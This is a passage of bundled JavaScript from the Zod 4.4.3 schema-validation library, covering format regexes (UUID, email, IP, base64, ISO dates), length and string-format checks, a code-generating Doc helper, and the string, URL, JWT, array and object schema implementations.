/^[a-zA-Z0-9_-]{21}$/;\n/** ISO 8601-1 duration regex. Does not support the 8601-2 extensions like negative durations or fractional/negative components. */\nconst duration$1 = /^P(?:(\\d+W)|(?!.*W)(?=\\d|T\\d)(\\d+Y)?(\\d+M)?(\\d+D)?(T(?=\\d)(\\d+H)?(\\d+M)?(\\d+([.,]\\d+)?S)?)?)$/;\n/** A regex for any UUID-like identifier: 8-4-4-4-12 hex pattern */\nconst guid = /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12})$/;\n/** Returns a regex for validating an RFC 9562/4122 UUID.\n*\n* @param version Optionally specify a version 1-8. If no version is specified, all versions are supported. */\nconst uuid = (version) => {\n if (!version) return /^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$/;\n return new RegExp(`^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-${version}[0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12})$`);\n};\n/** Practical email validation */\nconst email = /^(?!\\.)(?!.*\\.\\.)([A-Za-z0-9_'+\\-\\.]*)[A-Za-z0-9_+-]@([A-Za-z0-9][A-Za-z0-9\\-]*\\.)+[A-Za-z]{2,}$/;\nconst _emoji$1 = `^(\\\\p{Extended_Pictographic}|\\\\p{Emoji_Component})+$`;\nfunction emoji() {\n return new RegExp(_emoji$1, \"u\");\n}\nconst ipv4 = /^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/;\nconst ipv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$/;\nconst cidrv4 = /^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\\/([0-9]|[1-2][0-9]|3[0-2])$/;\nconst cidrv6 = /^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|::|([0-9a-fA-F]{1,4})?::([0-9a-fA-F]{1,4}:?){0,6})\\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/;\nconst base64 = /^$|^(?:[0-9a-zA-Z+/]{4})*(?:(?:[0-9a-zA-Z+/]{2}==)|(?:[0-9a-zA-Z+/]{3}=))?$/;\nconst base64url = /^[A-Za-z0-9_-]*$/;\nconst httpProtocol = /^https?$/;\nconst e164 = /^\\+[1-9]\\d{6,14}$/;\nconst dateSource = `(?:(?:\\\\d\\\\d[2468][048]|\\\\d\\\\d[13579][26]|\\\\d\\\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\\\d|30)|(?:02)-(?:0[1-9]|1\\\\d|2[0-8])))`;\nconst date$1 = /*@__PURE__*/ new RegExp(`^${dateSource}$`);\nfunction timeSource(args) {\n const hhmm = `(?:[01]\\\\d|2[0-3]):[0-5]\\\\d`;\n return typeof args.precision === \"number\" ? args.precision === -1 ? `${hhmm}` : args.precision === 0 ? `${hhmm}:[0-5]\\\\d` : `${hhmm}:[0-5]\\\\d\\\\.\\\\d{${args.precision}}` : `${hhmm}(?::[0-5]\\\\d(?:\\\\.\\\\d+)?)?`;\n}\nfunction time$1(args) {\n return new RegExp(`^${timeSource(args)}$`);\n}\nfunction datetime$1(args) {\n const time = timeSource({ precision: args.precision });\n const opts = [\"Z\"];\n if (args.local) opts.push(\"\");\n if (args.offset) opts.push(`([+-](?:[01]\\\\d|2[0-3]):[0-5]\\\\d)`);\n const timeRegex = `${time}(?:${opts.join(\"|\")})`;\n return new RegExp(`^${dateSource}T(?:${timeRegex})$`);\n}\nconst string$1 = (params) => {\n const regex = params ? `[\\\\s\\\\S]{${params?.minimum ?? 0},${params?.maximum ?? \"\"}}` : `[\\\\s\\\\S]*`;\n return new RegExp(`^${regex}$`);\n};\nconst number = /^-?\\d+(?:\\.\\d+)?$/;\nconst lowercase = /^[^A-Z]*$/;\nconst uppercase = /^[^a-z]*$/;\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/checks.js\nconst $ZodCheck = /*@__PURE__*/ $constructor(\"$ZodCheck\", (inst, def) => {\n var _a;\n inst._zod ?? (inst._zod = {});\n inst._zod.def = def;\n (_a = inst._zod).onattach ?? (_a.onattach = []);\n});\nconst $ZodCheckMaxLength = /*@__PURE__*/ $constructor(\"$ZodCheckMaxLength\", (inst, def) => {\n var _a;\n $ZodCheck.init(inst, def);\n (_a = inst._zod.def).when ?? (_a.when = (payload) => {\n const val = payload.value;\n return !nullish(val) && val.length !== void 0;\n });\n inst._zod.onattach.push((inst) => {\n const curr = inst._zod.bag.maximum ?? Number.POSITIVE_INFINITY;\n if (def.maximum < curr) inst._zod.bag.maximum = def.maximum;\n });\n inst._zod.check = (payload) => {\n const input = payload.value;\n if (input.length <= def.maximum) return;\n const origin = getLengthableOrigin(input);\n payload.issues.push({\n origin,\n code: \"too_big\",\n maximum: def.maximum,\n inclusive: true,\n input,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckMinLength = /*@__PURE__*/ $constructor(\"$ZodCheckMinLength\", (inst, def) => {\n var _a;\n $ZodCheck.init(inst, def);\n (_a = inst._zod.def).when ?? (_a.when = (payload) => {\n const val = payload.value;\n return !nullish(val) && val.length !== void 0;\n });\n inst._zod.onattach.push((inst) => {\n const curr = inst._zod.bag.minimum ?? Number.NEGATIVE_INFINITY;\n if (def.minimum > curr) inst._zod.bag.minimum = def.minimum;\n });\n inst._zod.check = (payload) => {\n const input = payload.value;\n if (input.length >= def.minimum) return;\n const origin = getLengthableOrigin(input);\n payload.issues.push({\n origin,\n code: \"too_small\",\n minimum: def.minimum,\n inclusive: true,\n input,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckLengthEquals = /*@__PURE__*/ $constructor(\"$ZodCheckLengthEquals\", (inst, def) => {\n var _a;\n $ZodCheck.init(inst, def);\n (_a = inst._zod.def).when ?? (_a.when = (payload) => {\n const val = payload.value;\n return !nullish(val) && val.length !== void 0;\n });\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.minimum = def.length;\n bag.maximum = def.length;\n bag.length = def.length;\n });\n inst._zod.check = (payload) => {\n const input = payload.value;\n const length = input.length;\n if (length === def.length) return;\n const origin = getLengthableOrigin(input);\n const tooBig = length > def.length;\n payload.issues.push({\n origin,\n ...tooBig ? {\n code: \"too_big\",\n maximum: def.length\n } : {\n code: \"too_small\",\n minimum: def.length\n },\n inclusive: true,\n exact: true,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckStringFormat = /*@__PURE__*/ $constructor(\"$ZodCheckStringFormat\", (inst, def) => {\n var _a, _b;\n $ZodCheck.init(inst, def);\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.format = def.format;\n if (def.pattern) {\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(def.pattern);\n }\n });\n if (def.pattern) (_a = inst._zod).check ?? (_a.check = (payload) => {\n def.pattern.lastIndex = 0;\n if (def.pattern.test(payload.value)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: def.format,\n input: payload.value,\n ...def.pattern ? { pattern: def.pattern.toString() } : {},\n inst,\n continue: !def.abort\n });\n });\n else (_b = inst._zod).check ?? (_b.check = () => {});\n});\nconst $ZodCheckRegex = /*@__PURE__*/ $constructor(\"$ZodCheckRegex\", (inst, def) => {\n $ZodCheckStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n def.pattern.lastIndex = 0;\n if (def.pattern.test(payload.value)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"regex\",\n input: payload.value,\n pattern: def.pattern.toString(),\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckLowerCase = /*@__PURE__*/ $constructor(\"$ZodCheckLowerCase\", (inst, def) => {\n def.pattern ?? (def.pattern = lowercase);\n $ZodCheckStringFormat.init(inst, def);\n});\nconst $ZodCheckUpperCase = /*@__PURE__*/ $constructor(\"$ZodCheckUpperCase\", (inst, def) => {\n def.pattern ?? (def.pattern = uppercase);\n $ZodCheckStringFormat.init(inst, def);\n});\nconst $ZodCheckIncludes = /*@__PURE__*/ $constructor(\"$ZodCheckIncludes\", (inst, def) => {\n $ZodCheck.init(inst, def);\n const escapedRegex = escapeRegex(def.includes);\n const pattern = new RegExp(typeof def.position === \"number\" ? `^.{${def.position}}${escapedRegex}` : escapedRegex);\n def.pattern = pattern;\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(pattern);\n });\n inst._zod.check = (payload) => {\n if (payload.value.includes(def.includes, def.position)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"includes\",\n includes: def.includes,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckStartsWith = /*@__PURE__*/ $constructor(\"$ZodCheckStartsWith\", (inst, def) => {\n $ZodCheck.init(inst, def);\n const pattern = new RegExp(`^${escapeRegex(def.prefix)}.*`);\n def.pattern ?? (def.pattern = pattern);\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(pattern);\n });\n inst._zod.check = (payload) => {\n if (payload.value.startsWith(def.prefix)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"starts_with\",\n prefix: def.prefix,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckEndsWith = /*@__PURE__*/ $constructor(\"$ZodCheckEndsWith\", (inst, def) => {\n $ZodCheck.init(inst, def);\n const pattern = new RegExp(`.*${escapeRegex(def.suffix)}$`);\n def.pattern ?? (def.pattern = pattern);\n inst._zod.onattach.push((inst) => {\n const bag = inst._zod.bag;\n bag.patterns ?? (bag.patterns = /* @__PURE__ */ new Set());\n bag.patterns.add(pattern);\n });\n inst._zod.check = (payload) => {\n if (payload.value.endsWith(def.suffix)) return;\n payload.issues.push({\n origin: \"string\",\n code: \"invalid_format\",\n format: \"ends_with\",\n suffix: def.suffix,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodCheckOverwrite = /*@__PURE__*/ $constructor(\"$ZodCheckOverwrite\", (inst, def) => {\n $ZodCheck.init(inst, def);\n inst._zod.check = (payload) => {\n payload.value = def.tx(payload.value);\n };\n});\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/doc.js\nvar Doc = class {\n constructor(args = []) {\n this.content = [];\n this.indent = 0;\n if (this) this.args = args;\n }\n indented(fn) {\n this.indent += 1;\n fn(this);\n this.indent -= 1;\n }\n write(arg) {\n if (typeof arg === \"function\") {\n arg(this, { execution: \"sync\" });\n arg(this, { execution: \"async\" });\n return;\n }\n const lines = arg.split(\"\\n\").filter((x) => x);\n const minIndent = Math.min(...lines.map((x) => x.length - x.trimStart().length));\n const dedented = lines.map((x) => x.slice(minIndent)).map((x) => \" \".repeat(this.indent * 2) + x);\n for (const line of dedented) this.content.push(line);\n }\n compile() {\n const F = Function;\n const args = this?.args;\n const lines = [...(this?.content ?? [``]).map((x) => ` ${x}`)];\n return new F(...args, lines.join(\"\\n\"));\n }\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/versions.js\nconst version = {\n major: 4,\n minor: 4,\n patch: 3\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/schemas.js\nconst $ZodType = /*@__PURE__*/ $constructor(\"$ZodType\", (inst, def) => {\n var _a;\n inst ?? (inst = {});\n inst._zod.def = def;\n inst._zod.bag = inst._zod.bag || {};\n inst._zod.version = version;\n const checks = [...inst._zod.def.checks ?? []];\n if (inst._zod.traits.has(\"$ZodCheck\")) checks.unshift(inst);\n for (const ch of checks) for (const fn of ch._zod.onattach) fn(inst);\n if (checks.length === 0) {\n (_a = inst._zod).deferred ?? (_a.deferred = []);\n inst._zod.deferred?.push(() => {\n inst._zod.run = inst._zod.parse;\n });\n } else {\n const runChecks = (payload, checks, ctx) => {\n let isAborted = aborted(payload);\n let asyncResult;\n for (const ch of checks) {\n if (ch._zod.def.when) {\n if (explicitlyAborted(payload)) continue;\n if (!ch._zod.def.when(payload)) continue;\n } else if (isAborted) continue;\n const currLen = payload.issues.length;\n const _ = ch._zod.check(payload);\n if (_ instanceof Promise && ctx?.async === false) throw new $ZodAsyncError();\n if (asyncResult || _ instanceof Promise) asyncResult = (asyncResult ?? Promise.resolve()).then(async () => {\n await _;\n if (payload.issues.length === currLen) return;\n if (!isAborted) isAborted = aborted(payload, currLen);\n });\n else {\n if (payload.issues.length === currLen) continue;\n if (!isAborted) isAborted = aborted(payload, currLen);\n }\n }\n if (asyncResult) return asyncResult.then(() => {\n return payload;\n });\n return payload;\n };\n const handleCanaryResult = (canary, payload, ctx) => {\n if (aborted(canary)) {\n canary.aborted = true;\n return canary;\n }\n const checkResult = runChecks(payload, checks, ctx);\n if (checkResult instanceof Promise) {\n if (ctx.async === false) throw new $ZodAsyncError();\n return checkResult.then((checkResult) => inst._zod.parse(checkResult, ctx));\n }\n return inst._zod.parse(checkResult, ctx);\n };\n inst._zod.run = (payload, ctx) => {\n if (ctx.skipChecks) return inst._zod.parse(payload, ctx);\n if (ctx.direction === \"backward\") {\n const canary = inst._zod.parse({\n value: payload.value,\n issues: []\n }, {\n ...ctx,\n skipChecks: true\n });\n if (canary instanceof Promise) return canary.then((canary) => {\n return handleCanaryResult(canary, payload, ctx);\n });\n return handleCanaryResult(canary, payload, ctx);\n }\n const result = inst._zod.parse(payload, ctx);\n if (result instanceof Promise) {\n if (ctx.async === false) throw new $ZodAsyncError();\n return result.then((result) => runChecks(result, checks, ctx));\n }\n return runChecks(result, checks, ctx);\n };\n }\n defineLazy(inst, \"~standard\", () => ({\n validate: (value) => {\n try {\n const r = safeParse$1(inst, value);\n return r.success ? { value: r.data } : { issues: r.error?.issues };\n } catch (_) {\n return safeParseAsync$1(inst, value).then((r) => r.success ? { value: r.data } : { issues: r.error?.issues });\n }\n },\n vendor: \"zod\",\n version: 1\n }));\n});\nconst $ZodString = /*@__PURE__*/ $constructor(\"$ZodString\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.pattern = [...inst?._zod.bag?.patterns ?? []].pop() ?? string$1(inst._zod.bag);\n inst._zod.parse = (payload, _) => {\n if (def.coerce) try {\n payload.value = String(payload.value);\n } catch (_) {}\n if (typeof payload.value === \"string\") return payload;\n payload.issues.push({\n expected: \"string\",\n code: \"invalid_type\",\n input: payload.value,\n inst\n });\n return payload;\n };\n});\nconst $ZodStringFormat = /*@__PURE__*/ $constructor(\"$ZodStringFormat\", (inst, def) => {\n $ZodCheckStringFormat.init(inst, def);\n $ZodString.init(inst, def);\n});\nconst $ZodGUID = /*@__PURE__*/ $constructor(\"$ZodGUID\", (inst, def) => {\n def.pattern ?? (def.pattern = guid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodUUID = /*@__PURE__*/ $constructor(\"$ZodUUID\", (inst, def) => {\n if (def.version) {\n const v = {\n v1: 1,\n v2: 2,\n v3: 3,\n v4: 4,\n v5: 5,\n v6: 6,\n v7: 7,\n v8: 8\n }[def.version];\n if (v === void 0) throw new Error(`Invalid UUID version: \"${def.version}\"`);\n def.pattern ?? (def.pattern = uuid(v));\n } else def.pattern ?? (def.pattern = uuid());\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodEmail = /*@__PURE__*/ $constructor(\"$ZodEmail\", (inst, def) => {\n def.pattern ?? (def.pattern = email);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodURL = /*@__PURE__*/ $constructor(\"$ZodURL\", (inst, def) => {\n $ZodStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n try {\n const trimmed = payload.value.trim();\n if (!def.normalize && def.protocol?.source === httpProtocol.source) {\n if (!/^https?:\\/\\//i.test(trimmed)) {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n note: \"Invalid URL format\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n return;\n }\n }\n const url = new URL(trimmed);\n if (def.hostname) {\n def.hostname.lastIndex = 0;\n if (!def.hostname.test(url.hostname)) payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n note: \"Invalid hostname\",\n pattern: def.hostname.source,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n if (def.protocol) {\n def.protocol.lastIndex = 0;\n if (!def.protocol.test(url.protocol.endsWith(\":\") ? url.protocol.slice(0, -1) : url.protocol)) payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n note: \"Invalid protocol\",\n pattern: def.protocol.source,\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n if (def.normalize) payload.value = url.href;\n else payload.value = trimmed;\n return;\n } catch (_) {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"url\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n };\n});\nconst $ZodEmoji = /*@__PURE__*/ $constructor(\"$ZodEmoji\", (inst, def) => {\n def.pattern ?? (def.pattern = emoji());\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodNanoID = /*@__PURE__*/ $constructor(\"$ZodNanoID\", (inst, def) => {\n def.pattern ?? (def.pattern = nanoid);\n $ZodStringFormat.init(inst, def);\n});\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link $ZodCUID2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst $ZodCUID = /*@__PURE__*/ $constructor(\"$ZodCUID\", (inst, def) => {\n def.pattern ?? (def.pattern = cuid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodCUID2 = /*@__PURE__*/ $constructor(\"$ZodCUID2\", (inst, def) => {\n def.pattern ?? (def.pattern = cuid2);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodULID = /*@__PURE__*/ $constructor(\"$ZodULID\", (inst, def) => {\n def.pattern ?? (def.pattern = ulid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodXID = /*@__PURE__*/ $constructor(\"$ZodXID\", (inst, def) => {\n def.pattern ?? (def.pattern = xid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodKSUID = /*@__PURE__*/ $constructor(\"$ZodKSUID\", (inst, def) => {\n def.pattern ?? (def.pattern = ksuid);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISODateTime = /*@__PURE__*/ $constructor(\"$ZodISODateTime\", (inst, def) => {\n def.pattern ?? (def.pattern = datetime$1(def));\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISODate = /*@__PURE__*/ $constructor(\"$ZodISODate\", (inst, def) => {\n def.pattern ?? (def.pattern = date$1);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISOTime = /*@__PURE__*/ $constructor(\"$ZodISOTime\", (inst, def) => {\n def.pattern ?? (def.pattern = time$1(def));\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodISODuration = /*@__PURE__*/ $constructor(\"$ZodISODuration\", (inst, def) => {\n def.pattern ?? (def.pattern = duration$1);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodIPv4 = /*@__PURE__*/ $constructor(\"$ZodIPv4\", (inst, def) => {\n def.pattern ?? (def.pattern = ipv4);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.format = `ipv4`;\n});\nconst $ZodIPv6 = /*@__PURE__*/ $constructor(\"$ZodIPv6\", (inst, def) => {\n def.pattern ?? (def.pattern = ipv6);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.format = `ipv6`;\n inst._zod.check = (payload) => {\n try {\n new URL(`http://[${payload.value}]`);\n } catch {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"ipv6\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n };\n});\nconst $ZodCIDRv4 = /*@__PURE__*/ $constructor(\"$ZodCIDRv4\", (inst, def) => {\n def.pattern ?? (def.pattern = cidrv4);\n $ZodStringFormat.init(inst, def);\n});\nconst $ZodCIDRv6 = /*@__PURE__*/ $constructor(\"$ZodCIDRv6\", (inst, def) => {\n def.pattern ?? (def.pattern = cidrv6);\n $ZodStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n const parts = payload.value.split(\"/\");\n try {\n if (parts.length !== 2) throw new Error();\n const [address, prefix] = parts;\n if (!prefix) throw new Error();\n const prefixNum = Number(prefix);\n if (`${prefixNum}` !== prefix) throw new Error();\n if (prefixNum < 0 || prefixNum > 128) throw new Error();\n new URL(`http://[${address}]`);\n } catch {\n payload.issues.push({\n code: \"invalid_format\",\n format: \"cidrv6\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n }\n };\n});\nfunction isValidBase64(data) {\n if (data === \"\") return true;\n if (/\\s/.test(data)) return false;\n if (data.length % 4 !== 0) return false;\n try {\n atob(data);\n return true;\n } catch {\n return false;\n }\n}\nconst $ZodBase64 = /*@__PURE__*/ $constructor(\"$ZodBase64\", (inst, def) => {\n def.pattern ?? (def.pattern = base64);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.contentEncoding = \"base64\";\n inst._zod.check = (payload) => {\n if (isValidBase64(payload.value)) return;\n payload.issues.push({\n code: \"invalid_format\",\n format: \"base64\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nfunction isValidBase64URL(data) {\n if (!base64url.test(data)) return false;\n const base64 = data.replace(/[-_]/g, (c) => c === \"-\" ? \"+\" : \"/\");\n return isValidBase64(base64.padEnd(Math.ceil(base64.length / 4) * 4, \"=\"));\n}\nconst $ZodBase64URL = /*@__PURE__*/ $constructor(\"$ZodBase64URL\", (inst, def) => {\n def.pattern ?? (def.pattern = base64url);\n $ZodStringFormat.init(inst, def);\n inst._zod.bag.contentEncoding = \"base64url\";\n inst._zod.check = (payload) => {\n if (isValidBase64URL(payload.value)) return;\n payload.issues.push({\n code: \"invalid_format\",\n format: \"base64url\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodE164 = /*@__PURE__*/ $constructor(\"$ZodE164\", (inst, def) => {\n def.pattern ?? (def.pattern = e164);\n $ZodStringFormat.init(inst, def);\n});\nfunction isValidJWT(token, algorithm = null) {\n try {\n const tokensParts = token.split(\".\");\n if (tokensParts.length !== 3) return false;\n const [header] = tokensParts;\n if (!header) return false;\n const parsedHeader = JSON.parse(atob(header));\n if (\"typ\" in parsedHeader && parsedHeader?.typ !== \"JWT\") return false;\n if (!parsedHeader.alg) return false;\n if (algorithm && (!(\"alg\" in parsedHeader) || parsedHeader.alg !== algorithm)) return false;\n return true;\n } catch {\n return false;\n }\n}\nconst $ZodJWT = /*@__PURE__*/ $constructor(\"$ZodJWT\", (inst, def) => {\n $ZodStringFormat.init(inst, def);\n inst._zod.check = (payload) => {\n if (isValidJWT(payload.value, def.alg)) return;\n payload.issues.push({\n code: \"invalid_format\",\n format: \"jwt\",\n input: payload.value,\n inst,\n continue: !def.abort\n });\n };\n});\nconst $ZodUnknown = /*@__PURE__*/ $constructor(\"$ZodUnknown\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload) => payload;\n});\nconst $ZodNever = /*@__PURE__*/ $constructor(\"$ZodNever\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, _ctx) => {\n payload.issues.push({\n expected: \"never\",\n code: \"invalid_type\",\n input: payload.value,\n inst\n });\n return payload;\n };\n});\nfunction handleArrayResult(result, final, index) {\n if (result.issues.length) final.issues.push(...prefixIssues(index, result.issues));\n final.value[index] = result.value;\n}\nconst $ZodArray = /*@__PURE__*/ $constructor(\"$ZodArray\", (inst, def) => {\n $ZodType.init(inst, def);\n inst._zod.parse = (payload, ctx) => {\n const input = payload.value;\n if (!Array.isArray(input)) {\n payload.issues.push({\n expected: \"array\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n payload.value = Array(input.length);\n const proms = [];\n for (let i = 0; i < input.length; i++) {\n const item = input[i];\n const result = def.element._zod.run({\n value: item,\n issues: []\n }, ctx);\n if (result instanceof Promise) proms.push(result.then((result) => handleArrayResult(result, payload, i)));\n else handleArrayResult(result, payload, i);\n }\n if (proms.length) return Promise.all(proms).then(() => payload);\n return payload;\n };\n});\nfunction handlePropertyResult(result, final, key, input, isOptionalIn, isOptionalOut) {\n const isPresent = key in input;\n if (result.issues.length) {\n if (isOptionalIn && isOptionalOut && !isPresent) return;\n final.issues.push(...prefixIssues(key, result.issues));\n }\n if (!isPresent && !isOptionalIn) {\n if (!result.issues.length) final.issues.push({\n code: \"invalid_type\",\n expected: \"nonoptional\",\n input: void 0,\n path: [key]\n });\n return;\n }\n if (result.value === void 0) {\n if (isPresent) final.value[key] = void 0;\n } else final.value[key] = result.value;\n}\nfunction normalizeDef(def) {\n const keys = Object.keys(def.shape);\n for (const k of keys) if (!def.shape?.[k]?._zod?.traits?.has(\"$ZodType\")) throw new Error(`Invalid element at key \"${k}\": expected a Zod schema`);\n const okeys = optionalKeys(def.shape);\n return {\n ...def,\n keys,\n keySet: new Set(keys),\n numKeys: keys.length,\n optionalKeys: new Set(okeys)\n };\n}\nfunction handleCatchall(proms, input, payload, ctx, def, inst) {\n const unrecognized = [];\n const keySet = def.keySet;\n const _catchall = def.catchall._zod;\n const t = _catchall.def.type;\n const isOptionalIn = _catchall.optin === \"optional\";\n const isOptionalOut = _catchall.optout === \"optional\";\n for (const key in input) {\n if (key === \"__proto__\") continue;\n if (keySet.has(key)) continue;\n if (t === \"never\") {\n unrecognized.push(key);\n continue;\n }\n const r = _catchall.run({\n value: input[key],\n issues: []\n }, ctx);\n if (r instanceof Promise) proms.push(r.then((r) => handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut)));\n else handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut);\n }\n if (unrecognized.length) payload.issues.push({\n code: \"unrecognized_keys\",\n keys: unrecognized,\n input,\n inst\n });\n if (!proms.length) return payload;\n return Promise.all(proms).then(() => {\n return payload;\n });\n}\nconst $ZodObject = /*@__PURE__*/ $constructor(\"$ZodObject\", (inst, def) => {\n $ZodType.init(inst, def);\n if (!Object.getOwnPropertyDescriptor(def, \"shape\")?.get) {\n const sh = def.shape;\n Object.defineProperty(def, \"shape\", { get: () => {\n const newSh = { ...sh };\n Object.defineProperty(def, \"shape\", { value: newSh });\n return newSh;\n } });\n }\n const _normalized = cached(() => normalizeDef(def));\n defineLazy(inst._zod, \"propValues\", () => {\n const shape = def.shape;\n const propValues = {};\n for (const key in shape) {\n const field = shape[key]._zod;\n if (field.values) {\n propValues[key] ?? (propValues[key] = /* @__PURE__ */ new Set());\n for (const v of field.values) propValues[key].add(v);\n }\n }\n return propValues;\n });\n const isObject$2 = isObject;\n const catchall = def.catchall;\n let value;\n inst._zod.parse = (payload, ctx) => {\n value ?? (value = _normalized.value);\n const input = payload.value;\n if (!isObject$2(input)) {\n payload.issues.push({\n expected: \"object\",\n code: \"invalid_type\",\n input,\n inst\n });\n return payload;\n }\n payload.value = {};\n const proms = [];\n const shape = value.shape;\n for (const key of value.keys) {\n const el = shape[key];\n const isOptionalIn = el._zod.optin === \"optional\";\n const isOptionalOut = el._zod.optout === \"optional\";\n const r = el._zod.run({\n value: input[key],\n issues: []\n }, ctx);\n if (r instanceof Promise) proms.push(r.then((r) => handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut)));\n else handlePropertyResult(r, payload, key, input, isOptionalIn, isOptionalOut);\n }\n if (!catchall) return proms.length ? Promise.all(proms).then(() => payload) : payload;\n return handleCatchall(proms, input, payload, ctx, _normalized.value, inst);\n };\n});\nconst $ZodObjectJIT = /*@__PURE__*/ $constructor(\"$ZodObjectJIT\", (inst, def) => {\n $ZodObject.init(inst, def);\n const superParse = inst._zod.parse;\n const _normalized = cached(() => normalizeDef(def));\n const generateFastpass = (shape) => {\n const doc = new Doc([\n \"shape\",\n \"payload\",\n \"ctx\"\n ]);\n const normalized = _normalized.value;\n const parseStr = (key) => {\n const k = esc(key);\n return `shape[${k}]._zod.run({ value: input[${k}], issues: [] }, ctx)`;\n };\n doc.write(`const input = payload.value;`);\n const ids = Object.create(null);\n let counter = 0;\n for (const key of normalized.keys) ids[key] = `key_${counter++}`;\n doc.write(`const newResult = {};`);\n for (const key of normalized.keys) {\n const id = ids[key];\n const k = esc(key);\n const 